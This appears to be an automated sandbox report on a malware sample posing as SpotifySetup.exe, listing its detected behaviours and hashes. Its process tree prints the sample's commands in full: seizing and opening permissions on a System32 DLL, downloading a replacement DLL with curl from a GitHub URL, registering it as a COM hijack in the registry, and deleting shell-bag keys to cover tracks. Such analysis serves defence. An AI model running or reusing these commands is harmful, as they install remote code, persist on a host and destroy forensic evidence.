Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 18:44

General

  • Target
    SpotifySetup.exe
  • Size 271KB
  • Sample260715-xdsmcsb17m
  • SHA256 7f191c5f9f3bb3e4bd5c2c89fd641ea920edcc06a1dd0be32453cdd54dc0de1c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Modifies registry class 21 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • System policy modification 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SpotifySetup.exe
    "C:\Users\Admin\AppData\Local\Temp\SpotifySetup.exe"
    1⤵
    • UAC bypass
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4820
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c takeown /f "C:\Windows\system32\dmdskmgrs.dll" /a >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2236
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\system32\dmdskmgrs.dll" /a
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4232
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\system32\dmdskmgrs.dll" /grant administrators:F /c >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4196
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\system32\dmdskmgrs.dll" /grant administrators:F /c
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3988
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\system32\dmdskmgrs.dll" /grant Everyone:F /c >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\system32\dmdskmgrs.dll" /grant Everyone:F /c
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4896
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -s -o "C:\Windows\system32\dmdskmgrs.dll" "https://raw.githubusercontent.com/Johnsam3/test/main/dmdskmgrs.dll" >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5708
      • C:\Windows\system32\curl.exe
        curl -s -o "C:\Windows\system32\dmdskmgrs.dll" "https://raw.githubusercontent.com/Johnsam3/test/main/dmdskmgrs.dll"
        3⤵
        • Drops file in System32 directory
        PID:5956
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f
        3⤵
        • Modifies registry class
        PID:4660
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f
        3⤵
        • Modifies registry class
        PID:4840
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic recoveros set WriteDebugInfo=FALSE >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic recoveros set WriteDebugInfo=FALSE
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5044
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3772
      • C:\Windows\system32\reg.exe
        reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f
        3⤵
        • Modifies registry class
        PID:2796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6052
      • C:\Windows\system32\reg.exe
        reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f
        3⤵
        • Modifies registry class
        PID:2000
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c pause
      2⤵
        PID:4564

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          dmdskmgrs.dll

          • Path C:\Windows\system32\dmdskmgrs.dll
          • Size 9KB
          • SHA256 67ca289cb276cd02c7ebea70b069afc508ace4cfb6d7d93f5913a727b78b934f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4820-3-0x00007FF67CD70000-0x00007FF67CDBD000-memory.dmp